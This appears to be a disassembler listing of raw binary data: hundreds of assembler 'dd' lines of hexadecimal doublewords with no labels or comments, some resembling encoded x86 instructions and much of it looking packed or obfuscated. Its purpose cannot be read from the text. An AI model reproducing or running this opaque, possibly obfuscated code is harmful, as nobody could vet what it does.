		dd 1996CB4Ah, 6AF54A19h, 0C840F04h, 0F000000h, 681h, 810F00h
		dd 68000000h, 1000h, 67B96660h,	0DB805162h, 0FF615B0Fh
		dd 292881B5h, 81666006h, 0F7143C6h, 0FF61F0B7h,	0BD8BF9D0h
		dd 6292881h, 0D8A0Fh, 8E90000h,	9E000000h, 1BF1A4C6h, 38144D3h
		dd 5E93C7Fh, 6000000h, 73D3B8F8h, 0F8C781F5h, 60000000h
		dd 5FBBD78Bh, 614682F9h, 202447C7h, 0E9600000h,	12h, 0D489FFBFh
		dd 684618Fh, 0BBE8DE64h, 8504409Ah, 8DFC4501h, 292E819Dh
		dd 0BF0F6006h, 0F3B70FFEh, 0F8038B61h, 840FC00Bh, 5Fh
		dd 0C8E0F60h, 0E8000000h, 6, 0BCE59ACEh, 6159F171h, 66CB8160h
		dd 0E93C8ECEh, 9, 0FD36A026h, 0DCD4688Ah, 8B61E5h, 0AE960h
		dd 0EF6D0000h, 0F29D0C0Dh, 0F7E1BEC0h, 58D48A53h, 4438961h
		dd 15840Fh, 0E9600000h,	0Dh, 23AC8D2Ch,	0C519EAC3h, 0D5B3062Dh
		dd 0B961F565h, 234CF6h,	0EE8h, 69C60D00h, 8DFB5228h, 51D9A591h
		dd 8BCA01B0h, 0D1805FCFh, 0F6C781D4h, 0E8000075h, 0Ch
		dd 0AABD9910h, 85CFA91Ch, 0BC3D95FAh, 0E8EBB966h, 8AF63359h
		dd 3E34FFF7h, 12E28166h, 12E858A1h, 8C000000h, 0ED17021Fh
		dd 65D3AA5Ah, 0B04454AAh, 3DAE4EDAh, 58F0F87h, 66000000h
		dd 0AA7CF381h, 71C08159h, 0F53D8E04h, 55B9E881h, 0E85233ACh
		dd 0Bh,	0E0DB6259h, 0C731727Dh,	0F8A452Eh, 5959D2BFh, 0B470F081h
		dd 5E943D9h, 9F000000h,	0F623B197h, 14E95150h, 0FF000000h
		dd 618FD489h, 0DE640684h, 409ABBE8h, 45018504h,	5B054ED3h
		dd 0F37048Fh, 8Dh, 28CB8000h, 3AFAEE81h, 0B70F660Ah, 0F6C681DBh
		dd 0F660A3Ah, 0FE81D7B7h, 0FFFF8B24h, 2D850Fh, 0EE80000h
		dd 2A000000h, 0E59ACE81h, 5EF171BCh, 0B2B3B5DDh, 59F98AFEh
		dd 2AE9h, 0BFA67F00h, 1957E6BEh, 0A4E3E228h, 2ADD73Ch
		dd 0B64F810Dh, 0FF27E997h, 0C574FFFFh, 68C42A9Ah, 0AA2B65Eh
		dd 870D8088h, 8DF37715h, 2FCCF88Dh, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 9B593D2h, 0A035F250h
		dd 11E96Fh, 0BA870000h,	415C5A07h, 75028567h, 5D98BE19h
		dd 0E9F0D00Eh, 0Ch, 25A9827Bh, 8BE8CE7Fh, 0BF12FC17h, 30B9858Bh
		dd 8D890629h, 6291E6Dh,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 18h, 35C35646h, 8F2A6710h,	0C7C68B66h, 292D8185h
		dd 675006h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1B04h, 0C3504000h, 68D3FF49h, 1103C687h, 9F8973BAh
		dd 585C765h, 62920h, 0F000000h,	8589F6B7h, 6291EB9h, 264DB5FFh
		dd 6A0629h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 369AF9C3h, 70F1ABF7h, 5E896C6h, 5E000000h
		dd 558B766Eh, 0BECBB866h, 4D95095Ah, 0FF062935h, 2931E995h
		dd 0E1950306h, 2906292Ch, 2909C585h, 0FF006A06h, 29059195h
		dd 0EBC08B06h, 6280777Dh, 62998FFCh, 0B390989Bh, 0E88FE5BFh
		dd 137C6732h, 6BA6B369h, 74199B69h, 951B0370h, 1CC77FF4h
		dd 94700F14h, 0DA899DCDh, 3ECB47Dh, 586F69B7h, 0A92DA69Dh
		dd 298C87FEh, 9F761A8Eh, 158139Dh, 21EA1BA2h, 0FFB531B0h
		dd 0C06BCFEFh, 8D6116B1h, 0D3B008Fh, 0C4F1D7A0h, 0F47D629h
		dd 0FF502C0Dh, 0D1D69BD0h, 0A053B661h, 50CE17DDh, 0F8C0DCC1h
		dd 3EB89D22h, 6F128CDAh, 0AE945CBh, 9A000000h, 3B203Fh
		dd 0
		dd 4D4E900h, 0B3680000h, 0E9062FCEh, 0FFF9B004h, 2FCF1468h
		dd 0AFFAE906h, 9168FFF9h, 0E9062FD0h, 0FFF9AFF0h, 0D200F368h
		dd 19DD2C34h, 0A1951EFFh, 0E5699A47h, 3220AD03h, 3B996662h
		dd 886284B6h, 5437D105h, 1DF91FDFh, 0A302A694h,	3D220477h
		dd 4FD0ED7Ah, 0D5622241h, 0D80BFF0Ch, 0C4457BD4h, 6DFB8884h
		dd 4692FD9Ch, 0EB66C48Dh, 0FA7DB982h, 0E7806CEEh, 36E858BCh
		dd 0FD1FDF56h, 484E971Ch, 7A45EB3Ah, 67A9F29Dh,	0A99CD801h
		dd 8D7D5B9Ah, 95F10A69h, 0E046C286h, 0B3E58E56h, 80643C74h
		dd 652B109h, 2F2B7h, 0ED4BBC00h, 39B20B0Bh, 0F359FADEh
		dd 0C9129900h, 3DB410E0h, 1260234Dh, 357825D3h,	848A8EEAh
		dd 6B7A44F5h, 8C8AD338h, 86952A2Bh, 48840FEEh, 1071F1C7h
		dd 0D6BE640h, 3A43E50Dh, 9823F639h, 69EF47B3h, 2907DD3h
		dd 6ADC27D6h, 7942E9B0h, 0B591E210h, 17788A23h,	7BB6ECC1h
		dd 1E83FC7Dh, 11F52E50h, 7F4611E4h, 63EA4216h, 1DB115F3h
		dd 27F9BC2Eh, 0C7644FBCh, 0A9D03C99h, 163D8208h, 77000003h
		dd 3DDB1BE8h, 8066D425h, 4AACAE25h, 18FE7C8Fh, 570737BAh
		dd 5DD0B67Bh, 109D7F99h, 0E863C422h, 0A1288C6Ah, 7AB809ADh
		dd 7A3D20F9h, 0C0A6CDE0h, 8D89D259h, 7A4CA3AFh,	52260F10h
		dd 1BFD71FCh, 0BDE3C845h, 21F7B08h, 2494E021h, 0CC3628C0h
		dd 0C64F2F37h, 81580125h, 557AB0B3h, 2B5h, 7AF80BD0h, 81B5449Ch
		dd 0C90D8667h, 0DC1322Fh, 5A9815EBh, 0A301CE0Ah, 70CA2C2Eh
		dd 3C9F79FDh, 856187B7h, 1B6ACE0Ch, 3D1F9C1Fh, 0C568057Ah
		dd 0F95F59C0h, 0FB51B274h, 89DAAC21h, 635145AEh, 0B37A4CA3h
		dd 0AE8A07E5h, 0A0A3EDB0h, 0D7499335h, 0A676F931h, 3063869Ch
		dd 56348CE9h, 0F0266FDBh, 869CA67Fh, 0FADE396Ah, 0A685F236h
		dd 0C49869Ch, 7359D0B4h, 27C949DDh, 0C374AD2Bh,	18Fh, 6460C468h
		dd 0C8A30980h, 45ACE743h, 0C24B23E5h, 9C27F210h, 0BE8743B7h
		dd 2F707A45h, 1FD8275Bh, 70148696h, 0B2BC24AEh,	0A2EE74B3h
		dd 167728C4h, 0B500548Ch, 46h, 0D259C0BEh, 0C04D2F89h
		dd 499D99F4h, 817A45EFh, 61D92A37h, 708D622h, 0D095F23Eh
		dd 2D889FE6h, 0E461D2C0h, 0C7488696h, 8EED01F1h, 5E8696E4h
		dd 12D264BAh, 0B074B2F2h, 8EDF4948h, 8DEBD605h,	0C138h
		dd 60C43500h, 7FBB8CE9h, 806CEEFCh, 9AB63B9Dh, 79DFA389h
		dd 0FE50169Bh, 0F2D3971Eh, 0E8CC4726h, 0D23BB20Ah, 0CC214BAEh
		dd 7B51EAEBh, 9F0E87C3h, 2B83806Ch, 85925287h, 0D2A47E75h
		dd 989B6D61h, 7DF1D823h, 64D7C314h, 4D806C6Eh, 8514F6C2h
		dd 6E75C63Ch, 165C806Ch, 0C32099A7h, 0BA1E7944h, 0B49F6BE2h
		dd 0AA12006Dh, 157A482Ah, 0F157210Ah, 0BA18FE7Ch, 90D63637h
		dd 474BB385h, 13870h, 7D8E5500h, 32C31FF9h, 8C07E600h
		dd 42B1A84Eh, 1D907690h, 8C5189D9h, 55B3A32Eh, 1AFC7EF3h
		dd 0EE08CA41h, 0F357870Eh, 1F136492h, 0E7FE7A3Dh, 6666C45Ch
		dd 0CFA90F86h, 44AFE442h, 1D947096h, 60C452D9h,	51348CE9h
		dd 0D1276CDAh, 46CFAF61h, 95A37694h, 0B50BB30h,	4623D90Fh
		dd 0F220097Ah, 86963B81h, 5AD1AA68h, 543F2573h,	0FB52260Fh
		dd 0E0462470h, 87E54048h, 401A99B7h, 5B9BE2CDh,	9630A01Fh
		dd 149D7986h, 0EF62C026h, 0A7B41Bh, 0C03D0000h,	8D89D259h
		dd 7A4CA463h, 30BF1DFBh, 9CBC71C2h, 0EC375886h,	75E3C91Ah
		dd 0F84EC7A7h, 357B40ABh, 0DCC3DE7Ch, 92A02FB3h, 0ABCA4AB6h
		dd 8A4C3C18h, 5DBBBB32h, 5FB670F9h, 39AF0076h, 0A9ED869Ch
		dd 869C3A46h, 236CE0B3h, 8A7C8D55h, 0BB3F7359h,	5C799BCEh
		dd 0D1B773FEh, 0E00CFA77h, 1DFFC85Eh, 92FDD690h, 93AEC8Ah
		dd 7FF026ADh, 6AC3AC26h, 0FA1CDE39h, 79DFAB22h,	0B43F9EE0h
		dd 0B8A09D6Dh, 70F95D66h, 0C94024C2h, 0E2401071h, 125A096Fh
		dd 2B000000h, 820FED4Bh, 46A9ED24h, 0B3806CEFh,	26B399E0h
		dd 0EC1FC49Fh, 69E0441Ah, 0D75C3F91h, 56DBBD13h, 0D5583E90h
		dd 50DDB315h, 0DA293096h, 58D3AA6Ch, 0C13028EEh, 89533A79h
		dd 4C381E3h, 83000000h,	1C8704EBh, 24248B24h, 672268h
		dd 241C8900h, 677A68h, 24348900h, 23F2BE56h, 0F7466010h
		dd 7E6C1D6h, 79F2F681h,	0C681DFE5h, 10715CBh, 6F12E681h
		dd 814E52BAh, 3DC8A3F6h, 5EF38906h, 24348B54h, 5504C483h
		dd 8957DD89h, 87E89EFh,	34FF5D5Fh, 0C4835E24h, 2434FF04h
		dd 4C4815Bh, 0E9000000h, 0FFF9AB3Ch, 0EEB81D45h, 3062FD1h
		dd 2AE0FFC5h, 3866F2A1h, 30D6B4Fh, 0E35FF2E2h, 972D1C81h
		dd 953A2B95h, 0C850390Bh, 0C31D510h, 4E73329Dh,	887BB493h
		dd 64180AEBh, 28532CB5h, 778E6CDh, 8D68B3B6h, 2FD3958Dh
		dd 0C2BF0F06h, 71F918B8h, 6D8D8968h, 6A06291Eh,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 46EBC350h, 6E100678h, 0C281A150h, 62771C90h,	2D8185C7h
		dd 71E80629h, 85890000h, 6292635h, 200585C7h, 629h, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 0E20B0C3h, 0A393C07Dh, 8B6684CEh, 59958BDAh,	0FF062916h
		dd 291B7DB5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1504h, 0C3504000h, 14E81FBFh, 0FD000000h, 0DFEF0F59h
		dd 1524EB35h, 3B12C076h, 845F16F7h, 0B60FCCF4h,	8B665B21h
		dd 0E995FFC6h, 6A062931h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 125AC357h, 10699589h
		dd 6A0629h, 59195FFh, 0C08B0629h, 825F48EBh, 0ECB50CA5h
		dd 0C75F8F12h, 0CC59E83Ch, 0E3BEBC2h, 0B598A6h,	0DF4FA1E1h
		dd 0CB52D855h, 419B31FEh, 0A106BB24h, 270575C6h, 0AC0E21A0h
		dd 0FC07FC1Ah, 0FFDB6FE2h, 69DADDB5h, 9ACFB8B4h, 0B80286ACh
		dd 0EC4A469Dh, 0BE8B439h, 98000000h, 0AF595D85h, 0B84CC1E0h
		dd 8D8904B7h, 6292BEDh,	0CFC6815Eh, 0BB00006Eh,	46C61F55h
		dd 4CCF381h, 36FF46C6h,	0C6D9589h, 89590629h, 293375BDh
		dd 30E98106h, 293F018Eh, 29049D8Dh, 5F18106h, 0B4000CCCh
		dd 0B4F1815Bh, 517BFA9Ch, 66068FF8h, 1292CF81h,	8904EE83h
		dd 2928F9B5h, 1EB8106h,	0F000000h, 0FFFFB985h, 0A270BFFFh
		dd 9E827DDh, 0C6000000h, 0EFE14682h, 0AD1C0E51h, 4A1858Bh
		dd 0E95F0629h, 0Dh, 4707EDF2h, 9A45EE6h, 44285BC1h, 0DDC78144h
		dd 0E900006Dh, 7, 92B23FE8h, 0B9685834h, 2DC96D88h, 76C3F181h
		dd 0D6812DC9h, 4160D6EFh, 8A0F37FFh, 3,	5A9BE880h, 0DE8h
		dd 0F3B3A400h, 0C0B86F49h, 0BEE31C44h, 0B50182A2h, 6292789h
		dd 53F2815Eh, 0E903346Eh, 7, 970C1F36h,	81BE2A94h, 162476F2h
		dd 0DDB8661Eh, 0E6C2816Eh, 8A0AF03Dh, 0D48052E6h, 1078F08h
		dd 2917D98Dh, 4EF8306h,	0D85BD31h, 0E9810629h, 1, 0FF96850Fh
		dd 9589FFFFh, 62915F5h,	12E9h, 13EBFA00h, 5Eh, 2 dup(0)
		dd 0E9000000h, 0B9Ah, 2FD6B768h, 74D5E906h, 0E268FFFAh
		dd 0E9062FD7h, 0FFFA74CBh, 2FD9FD68h, 74C1E906h, 0EE68FFFAh
		dd 0E9062FDAh, 0FFFA74B7h, 2FDC7A68h, 74ADE906h, 2F68FFFAh
		dd 0E9062FDEh, 0FFFA74A3h, 2FDF1468h, 7499E906h, 1141FFFAh
		dd 0D70A1347h, 0A232DB8Fh, 68FB82D0h, 30BD4C1Ah, 3FC8085Eh
		dd 4F1B6BFAh, 0D5929BEh, 32A0F27Ch, 0FBEFB52Bh,	4647AA5h
		dd 0CB3385B0h, 9D33F38Ah, 11B28DD7h, 2DE0F4BEh,	1163F5D6h
		dd 0D60EE45h, 0BB68BF16h, 0FD17858Bh, 3BB20C77h, 723F9BD1h
		dd 0AF952117h, 61544A4Eh, 87DEC5D6h, 0DE3C096Bh, 0FCC7D43Fh
		dd 3C70CCE4h, 0F5A3FDEh, 7743BA14h, 51B9485Ch, 0EE000000h
		dd 34197B97h, 37E43FDEh, 3472D2ECh, 58BD3FDEh, 0E769EA65h
		dd 0DB0C9184h, 0BD55AC97h, 3F9C846Ch, 5323B253h, 0A6B18409h
		dd 0F7146F75h, 484D1765h, 487E0859h, 98E3ADABh,	0DDD16AC6h
		dd 0E09403Fh, 256DE203h, 27F970DEh, 0CDF3485Ch,	78000000h
		dd 8DD79D33h, 471D6DF8h, 7C6032A6h, 0B1BF769h, 0FF23351Fh
		dd 863BA1Bh, 1CA274BDh,	56049B1Ch, 39B4E3F6h, 0D9E1D439h
		dd 0AD8F237Ah, 7039B4E3h, 5C0658A3h, 0B539B4E0h, 0F34A5123h
		dd 0B4E87DDFh, 68534039h, 4B194F5Eh, 45A85611h,	17E1405Eh
		dd 0EF2C3F9Ch, 0EB0688FBh, 0C4A01EB0h, 0F22345C6h, 22B350ABh
		dd 0B2890C50h, 0E4F2C411h, 3688D5h, 31A52BBAh, 5D43D2E0h
		dd 84000009h, 0B7460C56h, 7B025022h, 3ECF9BE9h,	0E089DDADh
		dd 1B12575h, 0E0B223E6h, 2E74EBF2h, 734591B8h, 0B0025667h
		dd 9F336C22h, 3385AEBDh, 3328D300h, 0FB82D0A2h,	0C0AFA965h
		dd 0D8CB2C01h, 0B4B466C6h, 8B64A939h, 0C094F32Ah, 3D930E6Dh
		dd 2D96300Bh, 9184E769h, 0ED63DF0Ch, 7F9EC6A7h,	3B92ED04h
		dd 0B584C5A7h, 0A1310839h, 39B584BFh, 0E92C8D0Eh, 0B58577D9h
		dd 6E554639h, 9C858150h, 0F0156C3Fh, 0E94B1763h, 343FDE85h
		dd 50459CE7h, 0A9D4330Ch, 488F976Dh, 4622BC87h,	0B3FDF36h
		dd 9AE87BD9h, 6A72D3C2h, 18BC065Bh, 0C7849F8Ah,	0C57D98F1h
		dd 485D8CACh, 0C920h, 73F05700h, 2C5A9DC3h, 33C67144h
		dd 0F88DD79Dh, 0E5061D6Dh, 82DA2173h, 0B580C4EEh, 0F20C6739h
		dd 39B58892h, 6045B85Dh, 2534A2F0h, 0B0FBE1B3h,	26B8E30Eh
		dd 3F9CB847h, 2510596h,	0B0246EE1h, 711F665Dh, 0BA4A2AC4h
		dd 953FDEh, 77627CA7h, 5E45C757h, 0B80F66BDh, 1DFF0451h
		dd 2DBE85B9h, 0D1F8EEC0h, 0C8043284h, 0EA31A5ACh, 83245C8h
		dd 81D10000h, 479AA337h, 12426B7Fh, 0D80B1240h,	0A0CDDC8Ah
		dd 0CF5898CEh, 0DF8BDB0Ah, 9DC999CEh, 4210628Ch, 0B5F25BBh
		dd 94F40A15h, 5B3385ADh, 2E7943FAh, 0B584B090h,	0A79E7F39h
		dd 9C87D706h, 1B6A7949h, 224CFDDEh, 3A8CF750h, 0E3F7BD13h
		dd 0F613590h, 36E4B8EBh, 9D3354CFh, 68F88DD7h, 0D6F74C1Ah
		dd 0A6C13486h, 77CED518h, 0E7826910h, 0C23954A1h, 9C35C1ECh
		dd 1647643Fh, 35E67144h, 0A537D4AFh, 9680AE61h,	0F556145Eh
		dd 0B72D75E4h, 1A4E1F66h, 1FB05548h, 4F5E6853h,	0F5504B19h
		dd 0A891FC67h, 0A9F96E24h, 3A01E233h, 0E8938EA2h, 4998C51Bh
		dd 12426379h, 0A44F1C40h, 64784CE5h, 0B6D1B8A0h, 0CEC94611h
		dd 160D5789h, 12A464F5h, 91ACBC1Bh, 0E6C03B94h,	0A93381D7h
		dd 0A4E58BDEh, 78188213h, 0AAD0AD05h, 4C9DC723h, 520A5C8Ah
		dd 0EBFAE243h, 1E7E9078h, 0E1C723ABh, 7209532Ch, 994DFA15h
		dd 94C36FBAh, 67EF5161h, 0DD3EC724h, 16C816CAh,	0D2A7E22Fh
		dd 9FAE347Eh, 83207B49h, 0A0380351h, 0D3A336D7h, 0CF7FD6E8h
		dd 0A33453B8h, 73E085DFh, 602DBD27h, 0E5BA025h,	40124613h
		dd 32BC4112h, 18481D60h, 0A729124Ah, 0A8E923B4h, 5D40889Dh
		dd 0D0C59F78h, 57922C77h, 0DECD0B20h, 92CA9CCDh, 0BBC611B5h
		dd 0B5163DF8h, 1BA58ED4h, 0A838CDD0h, 421382DAh, 2671440Eh
		dd 34798588h, 0D98310D3h, 767A6CC9h, 100B46D3h,	0F4B53FB6h
		dd 3AABDDBh, 5E020000h,	73E506BEh, 0AA3284D1h, 0C3D28A6Bh
		dd 0DC0FB1F8h, 9DF429B9h, 2A33F9Ch, 3EDF85CDh, 0C0AF6CC7h
		dd 0E4726A86h, 1853FDBEh, 8CF8ED05h, 2EEFC6D4h,	2843CDB6h
		dd 0D64F9AF5h, 0F8027A59h, 5F0FA39Ah, 2CCFBFCh,	19C4B7A7h
		dd 0E6DD0CE9h, 0B6574E4Fh, 0B84D5022h, 47635A28h, 7246A5FCh
		dd 59E61CEFh, 0FCA080DEh, 146FCD43h, 43FC9AFAh,	0D7B065CDh
		dd 5D075786h, 0F06045B8h, 636294A2h, 5260B8DFh,	617C3h
		dd 0CA9CCE00h, 0A5C8D9Ch, 4D1F4D5Ch, 97E37019h,	0DBAB3AC3h
		dd 75B0578Fh, 39C096E8h, 0E7F6DCA6h, 0A8B12577h, 1A7C6A38h
		dd 0AB87E9F9h, 5563385h, 84E7697Eh, 94540191h, 54333F9Ch
		dd 4E6064E2h, 3FDF17EEh, 0BEB5DC31h, 4D17F0ADh,	25A28B8h
		dd 776AA5ECh, 637FA6C9h, 45C66036h, 8DD6FC11h, 62BC9C32h
		dd 92034608h, 0FCC61AABh, 7793C5D8h, 7D01A8FFh,	85E2A716h
		dd 520A4A4Eh, 3C4C10F1h, 0EF613651h, 282B7EA5h,	0E695901Ch
		dd 3D85D485h, 0BB0F76A7h, 85DD166Fh, 286D64Eh, 795D0000h
		dd 84B0902Eh, 6E7F39B5h, 0F5C8A9F9h, 0B2E9048Ah, 9A50291Ch
		dd 247F9C3Fh, 0FC5C72CDh, 0C33FE559h, 8BDAEBD2h, 4F9EAF3Bh
		dd 5A4B2DC5h, 0B7923FE5h, 0EF652DDBh, 0AD0EEF5Ah, 0B7095576h
		dd 35C744Ch, 4CCC7A73h,	38A0561Ch, 222B80E4h, 526FD90h
		dd 8DDD0000h, 4B9EAF3Bh, 0E5E6F7Bh, 0D40716BCh,	9CC9D086h
		dd 0C3249CCAh, 0D387D706h, 99CD95CAh, 4E1466F0h, 0F5B29BFh
		dd 98F81609h, 673385AAh, 0E7694FF6h, 84C0A03Eh,	8CC339B5h
		dd 1A7E24C3h, 0ED4E4F96h, 0B52518B6h, 0B9903F99h, 0F1EBB724h
		dd 0BEDEBE1Ch, 34AB3FE4h, 0BCA7766Eh, 0C7E6FE5Fh, 8697C391h
		dd 495C0052h, 0F3174D17h, 0AA3E7B96h, 596AC5D8h, 0F627BD07h
		dd 0E4BE88E8h, 7F46573Fh, 1646BF6Bh, 674863h, 2AA9B67Fh
		dd 42933CD6h, 9D130D70h, 98000001h, 0B0279D33h,	0BA1BFAE2h
		dd 87CD0322h, 0CBAD459Ch, 1239B584h, 3585D081h,	0B3176EAFh
		dd 0F8234EF0h, 87CB1CA1h, 0EDC538DDh, 3F9CB4F4h, 9EB22AEBh
		dd 3FDEB4C2h, 0E87697E8h, 2762AF96h, 5CF056AFh,	349648h
		dd 691D0000h, 469184E7h, 439537A5h, 0C9CC9071h,	840DDCF2h
		dd 0E3303F9Ch, 848BE9F9h, 6AA73FDEh, 0DC5E972Fh, 247F485Ch
		dd 0DE78AA8Ah, 5DA0753Fh, 0CDA3h, 64792800h, 7350ABF7h
		dd 38CD97DDh, 25C6DDADh, 0C19BE2B4h, 150AC3Ch, 16444FF6h
		dd 8A6B3BAAh, 9D06339Fh, 5536FB48h, 98EA7E0Fh, 0BF842ECAh
		dd 0FB6D39B4h, 3663DA9h, 1D88E960h, 0A98B277Fh,	7439B4FFh
		dd 0B4FFC6A7h, 21B510Ah, 0B3134B25h, 880D571Dh,	0D0C1F82Fh
		dd 2EA6B86Fh, 27B5564Dh, 0FB176E55h, 3F9D6F90h,	5273AA6Bh
		dd 1627B303h, 0A343F7C7h, 4B2B7BD6h, 39A2469h, 19490000h
		dd 0DF721B4Fh, 0AA3AC397h, 70E38AD8h, 38A5B422h, 27C07066h
		dd 0B72373E2h, 756131A6h, 3AA8FA64h, 0E3F7BD13h, 0FC5C72ADh
		dd 0C33385A8h, 2E79EB92h, 0B584B090h, 0A79E7F39h, 0E277D706h
		dd 84B4942Ah, 9A7B39B5h, 9172A339h, 0DEA434C5h,	9D334B88h
		dd 68F88DD7h, 0A0A4031Ah, 40E40E8Ch, 1E6545B8h,	370E608Dh
		dd 0F42F42CCh, 9C621FDAh, 0EFF5263Fh, 0DE6373D3h, 0C1E2B13Fh
		dd 91FEC58Fh, 2CD57B76h, 50FE1350h, 809B7494h, 559EEB25h
		dd 0E5F6C0F8h, 59BC2072h, 3AF70B62h, 0FD45C4BDh, 0D02B77E8h
		dd 95CE9479h, 0CCD79D33h
		dd 4A64AC3Fh, 39B584EAh, 5D07E035h, 5A6B45B8h, 4D16BC06h
		dd 25A28B8h, 0BF41A893h, 605969ACh, 5F3F9CB5h, 0DAF4204Eh
		dd 3FDEB67Ah, 0EDF75045h, 5C2EBF28h, 0E1349578h, 0FCC78BDCh
		dd 0B770CCE4h, 0F5A3FDEh, 0F243BA14h, 29B9485Ch, 0E000000h
		dd 9184E769h, 9C84B001h, 67BE5F3Fh, 1FECF100h, 46BD81C5h
		dd 0FCF6526Eh, 0F5DC3FDEh, 53C9209Ah, 0D003485Dh, 88000000h
		dd 0CCD79D33h, 84FB5D75h, 0EC0239B5h, 39B5848Ch, 7A9B4253h
		dd 4994A903h, 0E426379h, 0DB0D1044h, 2F86DD89h,	0B584B193h
		dd 0B858B039h, 0CC4DD8F6h, 21B18409h, 39B52D75h, 2AB80A5Eh
		dd 80E0FE49h, 4F39B535h, 256774Eh, 0BD432CB0h, 5A576BB2h
		dd 5D3F9C39h, 0B7592AB8h, 0EC5161B4h, 0FB45C6ECh, 0D42F77EAh
		dd 5B0A2E7Dh, 3A3616A8h, 14F9460Ah, 0E1398D0Dh,	54B92375h
		dd 0E2031AFBh, 0ECB72373h, 0C43F8DDFh, 1E2476E7h, 31A52BFAh
		dd 0E567368Ch, 1C000001h, 0CFDE84CEh, 0F39AC89Ah, 0B6471361h
		dd 78015525h, 89C99DEDh, 582ABB7Eh, 0A6EC630Ah,	0EBBD2930h
		dd 287AEEFFh, 27BBE4BAh, 3385A745h, 33B04B88h, 0FB82D0A2h
		dd 2B79EF65h, 69A71C4Ah, 99E974E7h, 0FCCDE538h,	233F9C84h
		dd 7AD6EAF2h, 503FDE86h, 4DA41E79h, 8F485CDDh, 0C6h, 0C381D7F4h
		dd 106BC48Eh, 0D79D3319h, 0AD57B28Dh, 2CD09308h, 2113A978h
		dd 913F2DF6h, 0AD60743Eh, 89D4E9CCh, 0E38FA339h, 0CC39B4D9h
		dd 0F980D69Ch, 2E80ED67h, 0A22C174Dh, 21B7544Fh, 19B72FE5h
		dd 9A7B6883h, 91E8D3C2h, 9C1A8401h, 0C492033Fh,	0EE7EE16Fh
		dd 74D5389Ch, 34F9C21h,	3641B459h, 0C6C21298h, 296CA145h
		dd 5D894994h, 0BD1E64FBh, 0B524B9DCh, 0DF26F7EDh, 2373E28Bh
		dd 0A5320B17h, 64298B31h, 100h,	0F5E1B327h, 0B92D75E4h
		dd 60764490h, 2AB80A59h, 0D280D203h, 15408562h,	0D7081145h
		dd 0A0CEDF8Bh, 5FF198CEh, 0D4CF4115h, 85A65A3Ah, 8D30A533h
		dd 0A8FA6479h, 95E57055h, 0DAA838C1h, 2279578Ch, 155FC7F5h
		dd 15B68D7Ah, 0D5B74BC3h, 1839B524h, 2FAFACFBh,	0B614E001h
		dd 6AFE8FD5h, 75E00518h, 6821039Fh, 2FEC39B5h, 9C87164Eh
		dd 0B5682202h, 0D528ED39h, 0DD10BEF5h, 95E6FC6h, 174D1749h
		dd 5EBF2586h, 32DA4B67h, 0D0C53F9Ah, 0BE17ECDh,	0C103D973h
		dd 8DC3E2FAh, 568A93C7h, 0A4FF480Ch, 0E4A32A0Ah, 0B720F53Fh
		dd 8B0A5220h, 0AD571EB0h, 2D7A67B8h, 6133A5F2h,	4B9D2E75h
		dd 2FA10279h, 0FD6E7F65h, 0F09937ADh, 0C290C095h, 0CA9CCADBh
		dd 4729B992h, 969820AEh, 951A405h, 8618F060h, 9820ADA6h
		dd 91CBA469h, 811663C6h, 59DA6532h, 0D283404Eh,	0C92C1BB0h
		dd 384h, 2DD67100h, 8FD59F33h, 44186AFEh, 796335A1h, 35AFF364h
		dd 0EFF5C510h, 0A53F8FDEh, 5D075380h, 164E1C48h, 0CC90E277h
		dd 0E6895674h, 4C681h, 0EE830000h, 24343304h, 33243431h
		dd 685C2434h, 3937h, 57241489h,	0C781E789h, 4, 4EF81h
		dd 3C870000h, 3C895C24h, 68515724h, 17910B12h, 16C18159h
		dd 8171A614h, 850672F1h, 81D9F71Ah, 1E1134E9h, 59CF8966h
		dd 835FFA89h, 248904ECh, 24048124h, 4, 2082685Fh, 1C890000h
		dd 8BB24h, 0FB010000h, 0FF5B1389h, 815F2434h, 4C4h, 2434FF00h
		dd 4C4835Ah, 0FA6946E9h, 39B8CEFFh, 3062FE0h, 92E0FFC5h
		dd 117A4BDEh, 122013BEh, 0A23DB1DEh, 8E615E8Dh,	0DD240451h
		dd 0A56058FEh, 0DD1C0015h, 8A7D3ED5h, 481A643Ah, 680F54DFh
		dd 0A2438A79h, 0BC1DFAD3h, 0E455C763h, 1E4BE709h, 2349B47Bh
		dd 755582F0h, 0B014DFB7h, 8D55E7C8h, 2FE21E8Dh,	56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 4B467C0Ch, 274C561Dh, 25D38141h, 8915A7A4h, 291E6D8Dh
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1C04h
		dd 0C3534300h, 5A745B2Dh, 48FB14Bh, 558D296Ah, 0C7062905h
		dd 292D8185h, 65C006h, 1BF1BA00h, 0B5012221h, 629177Dh
		dd 200585C7h, 629h, 6A0000h, 3E853h, 5B200000h,	5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 0D47E82C3h, 8A9D141Ah
		dd 81667108h, 0FF7635C3h, 290FEDB5h, 51006A06h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 4DD8A6CEh
		dd 0F5A00E8h, 8B6616E6h, 0E995FFD3h, 6A062931h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 0F5F2C353h, 885E625Ah, 6AD48A94h, 9195FF00h,	8B062905h
		dd 546CEBC0h, 16B5FE67h, 0E0FCCD0Dh, 315ADA54h,	501453Fh
		dd 6D439BCBh, 0EE143D7Dh, 0E39645C2h, 405D2238h, 126661E1h
		dd 0DC919211h, 0A5B69B70h, 0C5B3F6B8h, 808E6F2Fh, 0BE851BD3h
		dd 37E4836Ch, 0DEFF5EC3h, 6D770F51h, 7D7AE2C9h,	882BAE14h
		dd 0D343015Bh, 66E0DE2Ch, 0AE388E3h, 6B2CAE4Fh,	0C9C9A2AFh
